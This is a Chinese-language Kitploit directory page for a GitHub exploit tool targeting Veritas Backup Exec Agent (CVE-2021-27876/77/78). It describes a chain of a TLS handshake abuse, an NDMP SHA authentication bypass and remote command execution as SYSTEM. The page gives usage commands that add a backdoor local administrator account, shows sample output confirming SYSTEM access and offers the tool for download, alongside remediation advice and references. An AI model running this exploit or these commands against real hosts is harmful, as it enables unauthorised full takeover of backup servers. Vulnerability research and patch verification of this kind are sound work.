Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-27876 — Veritas Backup Exec Agent 的未认证 RCE 漏洞利用 (CVE-2021-27876/77/78) — 通过 NDMP 的 SHA 认证绕过到 SYSTEM | Kitploit
工具/GitHubGitHub/wingerbijay/cve-2021-27876
权限提升漏洞分析漏洞利用渗透测试命令与控制身份验证
GitHubwingerbijay/cve-2021-27876

CVE-2021-27876

Veritas Backup Exec Agent 的未认证 RCE 漏洞利用 (CVE-2021-27876/77/78) — 通过 NDMP 的 SHA 认证绕过到 SYSTEM

查看仓库
1214个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-27876

针对 Veritas Backup Exec Agent 的未认证远程代码执行利用(CVE-2021-27876/77/78)—— 通过 NDMP 绕过 SHA 认证获取 SYSTEM 权限

CVEs

CVE描述CVSS 3.1
CVE-2021-27876通过 NDMP 协议中的 SHA 哈希操纵绕过认证9.8 严重
CVE-2021-27877未认证任意文件读取(通过 NDMP)9.8 严重
CVE-2021-27878通过 NDMP_EXECUTE_COMMAND 执行任意 OS 命令9.8 严重

公告: Veritas VTS21-003

受影响版本

  • Backup Exec 16.x
  • Backup Exec 20.x
  • Backup Exec 21.x ≤ 21.2(代理版本 ≤ 9.3)

修复版本: Backup Exec 21.3 及更高版本。


工作原理

Veritas Backup Exec Agent 监听 TCP/10000 端口,使用 NDMP(网络数据管理协议)。该利用链结合了三个弱点:

  1. TLS 握手滥用 — 代理在其自定义 TLS 协商期间请求 CSR。利用工具生成本地 CA,签署代理的 CSR,完成握手,将套接字升级为 TLS,无需任何预共享密钥。

  2. SHA 认证绕过(CVE-2021-27876) — NDMP SHA 认证计算 SHA256('\x00' * 64 + challenge)。由于密码以 64 字节零填充块的形式前置,且服务器端未验证密码材料,任何客户端都可以在不知道密码的情况下以 Administrator 身份认证。

  3. NDMP_EXECUTE_COMMAND(CVE-2021-27878) — 认证后,NDMP_EXECUTE_COMMAND 消息类型以 NT AUTHORITY\SYSTEM 权限执行任意 OS 命令。输出被重定向到 C:\Windows\Temp\_be_out.txt,并通过 NDMP_FILE_READ 读取。


要求

Python 3.8+

在现代发行版上,Python 被标记为“外部管理”(PEP 668),因此请将依赖安装到虚拟环境中:

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate
pip install cryptography

用法

python3 be_rce.py

示例:

# 确认 SYSTEM 访问权限
python3 be_rce.py 10.10.10.50 "whoami"

# 转储主机名和域
python3 be_rce.py 10.10.10.50 "whoami /all"

# 添加本地管理员
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"

示例输出:

[*] 正在连接 10.10.10.50:10000
[*] NDMP 版本:9
[+] NDMP 连接已打开
[*] 正在生成 CA 证书
[*] 获取到代理 CSR(1024 字节)
[*] 已签署代理 CSR 并返回
[*] 已发送 SSL_HANDSHAKE CONNECT
[*] 正在升级到 TLS
[+] TLS 已建立
[*] 正在请求 SHA 挑战
[*] 获取到 64 字节 SHA 挑战
[+] SHA 认证已绕过!
[*] 正在执行:whoami
[+] 命令输出:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────

修复建议

  • 在所有主机上将 Veritas Backup Exec Agent 升级至 21.3 或更高版本
  • 通过主机防火墙和网络 ACL 限制 TCP/10000 端口仅允许授权的备份管理主机访问
  • 审计环境中所有运行 Backup Exec 代理的主机

参考资料

  • https://www.veritas.com/support/en_US/security/VTS21-003
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27876
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27877
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27878
  • https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb

法律声明

本工具仅用于授权的渗透测试和安全研究。在未获得明确书面许可的情况下使用本工具攻击系统是非法的。作者不对滥用行为承担任何责任。

下载工具